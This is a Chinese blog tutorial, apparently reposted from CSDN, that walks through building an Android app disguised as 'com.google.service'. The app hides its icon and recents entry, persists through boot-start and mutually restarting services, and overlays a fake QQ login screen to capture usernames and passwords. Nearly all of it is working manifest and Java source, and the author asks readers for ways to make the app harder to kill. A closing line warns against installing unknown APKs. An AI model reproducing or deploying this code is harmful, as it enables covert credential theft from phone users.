目前android市场上有很多的android应用锁的app,用来保证手机上个人隐私的目的,但是就我个人而言,”来路不明”的应用锁可能同样会给我们打来很大的危险,今天,带大家使用android应用锁来盗取用户的账号.
首先需要说下应用锁的实现原理,就是在我们的service中不断地检查当前最顶端,也就是当前显示的activity所在的报名,如果是我们希望截获的报名,则跳转到一个我们自己的activity,比如qq,我们这个activity和qq的登录界面是一样的,这样当用户输入username和password的时候,我们就可以得到用户的账号信息了。
注意,我们的应用需要隐藏自己不被用户发现,所以这里我给自己的应用apklock的包名是”com.google.service”,并且使用的是原声的android机器人作为apklock的图标,可是说到这里,就有人会问了,那么我们的应用不还是显示在了home桌面了吗,no,先看下AndroidManifest.xml吧。
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.google.service"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="11"
android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:allowBackup="true"
android:persistent="true"
android:process="com.android.core" >
<activity
android:name="com.google.service.MainActivity"
android:excludeFromRecents="true"
android:theme="@style/mainTheme" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<!-- 下面这两个data标签是隐藏该应用的桌面图标的 -->
<data android:scheme="access" />
<data android:host="com.example.apklock" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.google.service.LoginActivity"
android:excludeFromRecents="true" >
</activity>
<service
android:name="com.google.service.AppService"
android:enabled="true" >
<!-- 设置service的优先级为最高 -->
<intent-filter android:priority="1000" >
</intent-filter>
</service>
<service
android:name="com.google.service.DamenService"
android:enabled="true" >
<!-- 设置service的优先级为最高 -->
<intent-filter android:priority="1000" >
</intent-filter>
</service>
<receiver android:name="com.google.service.BootStartReceiver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</receiver>
</application>
</manifest>
这里我先简单的说明下:
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
这两个权限:
android.permission.RECEIVE_BOOT_COMPLETED:是用来开机自启动的
android.permission.GET_TASKS 是读取当前task中有哪些个activity的权限
android:persistent=”true”和android:process=”com.android.core”是用来尽可能保证我们的service不被系统杀死,事实证明,除非用户多次clear应用,才可以杀死我们的service。
android:excludeFromRecents=”true” 这个属性用来隐藏我们的activity不被用户发现,加上这个属性以后,当用户查询最近的应用的时候,是看不到我们的应用的,如下图:
加上这个属性以后,用户将看不到我们的activity。
<data android:scheme="access" />
<data android:host="com.example.apklock" />
这两个过滤的data就是在手机桌面隐藏我们的应用,也就是当应用被安装了以后,用户很难发现我们的应用。
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
// full screen
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,WindowManager.LayoutParams.FLAG_FULLSCREEN);
if (!isServiceWork(this,"com.example.apklock.AppService")) {
startService(new Intent(this,AppService.class));
}
finish();//没有setContentView方法,并且在启动完成service之后。立即finish该activity,以防被用户发现
}
@Override
protected void onDestroy() {
super.onDestroy();
if (!isServiceWork(this,"com.example.apklock.AppService")) {
startService(new Intent(this,AppService.class));
}
}
/**
* 判断某个服务是否正在运行的方法
*
* @param mContext
* @param serviceName
* 是包名+服务的类名(例如:com.example.apklock.AppService)
* @return true代表正在运行,false代表服务没有正在运行
*/
public static boolean isServiceWork(Context mContext, String serviceName) {
boolean isWork = false;
ActivityManager myAM = (ActivityManager) mContext
.getSystemService(Context.ACTIVITY_SERVICE);
List<RunningServiceInfo> myList = myAM.getRunningServices(Integer.MAX_VALUE);
if (myList.size() <= 0) {
return false;
}
for (int i = 0; i < myList.size(); i++) {
String mName = myList.get(i).service.getClassName().toString();
if (mName.equals(serviceName)) {
isWork = true;
break;
}
}
return isWork;
}
MainActivity还是比较简单的,可以看到我这里去掉了,setContentView方法,并且在启动AppService之后立即将自己finish掉了,这样还是为了隐藏自己。
public class AppService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return START_STICKY; //用于保证service被kill后重新创建
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
}
@Override
public void onCreate() {
super.onCreate();
/**
* 当service运行在低内存的环境时,将会kill掉一些存在的进程。因此进程的优先级将会很重要,
* 可以使用startForeground API将service放到前台状态。这样在低内存时被kill的几率更低
*/
startForeground(0, new Notification());
TimerTask task = new TimerTask() {
@Override
public void run() {
ActivityManager mActivityManager;
mActivityManager = (ActivityManager) AppService.this.getSystemService(Context.ACTIVITY_SERVICE);
ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;
String packageName = topActivity.getPackageName();
if (packageName.equals("com.tencent.mobileqq")) {
Intent intent = new Intent();
intent.setClass(AppService.this,LoginActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
if (!MainActivity.isServiceWork(AppService.this,"com.example.apklock.DamenService")) {
startService(new Intent(AppService.this,DamenService.class));
}
}
};
Timer timer = new Timer();
timer.schedule(task,0,100);//从现在开始,每隔100毫秒运行一次run方法
}
@Override
public void onDestroy() {
stopForeground(true);
Intent localIntent = new Intent();
localIntent.setClass(this, AppService.class);
this.startService(localIntent); //销毁时重新启动Service
}
}
说明一下,在onStartCommand中return一个START_STICKY这样是尽可能保证我们的service被kill后重新创建,注意这里只是尽可能,不能够保证每一次都重启,那么如何保证service不被杀死呢??不着急,后边会说。
startForeground(0, new Notification()); 同样是将当前的service置为前台service,同样是不容易被系统kill掉。
在run方法中,查询当前正在运行的task的报名,如果和腾讯的报名时一样的,则跳转到我们的LoginActivity中。这里我通过Timer类的schedule方法,每隔100毫秒检测一次,这样间隔时间越短,越不容易被用户发现。
BootStartReceiver.java这个类是用于开机自启动AppService
public class BootStartReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
//开机自动启动这个service
context.startService(new Intent(context,AppService.class));
}
}
}
现在说下,我们如何保证service不被kill掉,这里我写了两个DamenService同时来检测当前task顶部的包名是否是”com.tencent.mobileqq”,同时这两个service互相监督对方的状态,如果被kill掉了,立即重启对方(service),这里我就不贴出代码了。
public class LoginActivity extends Activity implements OnClickListener,OnFocusChangeListener{
EditText userNameText = null;
EditText userPassText = null;
Button submitButton = null;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
userNameText = $(R.id.username);
userPassText = $(R.id.userpass);
submitButton = $(R.id.loginbutton);
//设置事件
userNameText.setOnFocusChangeListener(this);
userPassText.setOnFocusChangeListener(this);
submitButton.setOnClickListener(this);
}
//使用泛型,让T继承自View,并且$方法返回的是T类型
//这样做的好处是,使用findViewById不用向下转型了
public <T extends View> T $(int id) {
return (T) findViewById(id);
}
//这里重写onBackPressed方法,由于是用Intent.FLAG_ACTIVITY_NEW_TASK这种方式启动的activity,
//所以如果这里实现默认的super.onBackPressed()的话,很快就会被用户发现
@Override
public void onBackPressed() {
return;
}
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Toast.makeText(LoginActivity.this,"username is :"+userNameText.getText().toString()+
"==userpass is :"+userPassText.getText().toString(),Toast.LENGTH_SHORT).show();
}
@Override
public void onFocusChange(View v, boolean hasFocus) {
// TODO Auto-generated method stub
switch (v.getId()) {
case R.id.username:
if (userNameText.getText().toString().equals("") && !hasFocus) {
Toast.makeText(LoginActivity.this,"请输入username",Toast.LENGTH_SHORT).show();
userNameText.setFocusable(!hasFocus);
}
break;
case R.id.userpass:
if (userPassText.getText().toString().equals("") && !hasFocus) {
Toast.makeText(LoginActivity.this,"请输入password",Toast.LENGTH_SHORT).show();
userNameText.setFocusable(!hasFocus);
}
break;
default:
break;
}
}
}
这里我的LoginActivity写的比较简单,大家伙可以自己高仿一个qq的登陆界面。
好了,看下效果先:
可以看到,当我们点击qq的时候会跳转到我们自己的loginActivity中,这样就有可能盗取一些用户的qq,并且两个service互相监听,不会被杀死,但是我这里还有一个问题没有解决,就是当用户多次频繁的将最近的应用清除的时候,我们的进程也就跟着挂了,这个问题,搞了半天,都没有搞定,有谁知道这个应该怎么实现,也请告知与我,感谢。
好了,说了这么多,就是为了说明来路不明的apk还是不要安装的好,不然手机出问题了,隐私被盗取了,都不知道是怎么回事。ok,关于android应用锁的学习就先到这里了。
原文地址:http://blog.csdn.net/mockingbirds/article/details/46626755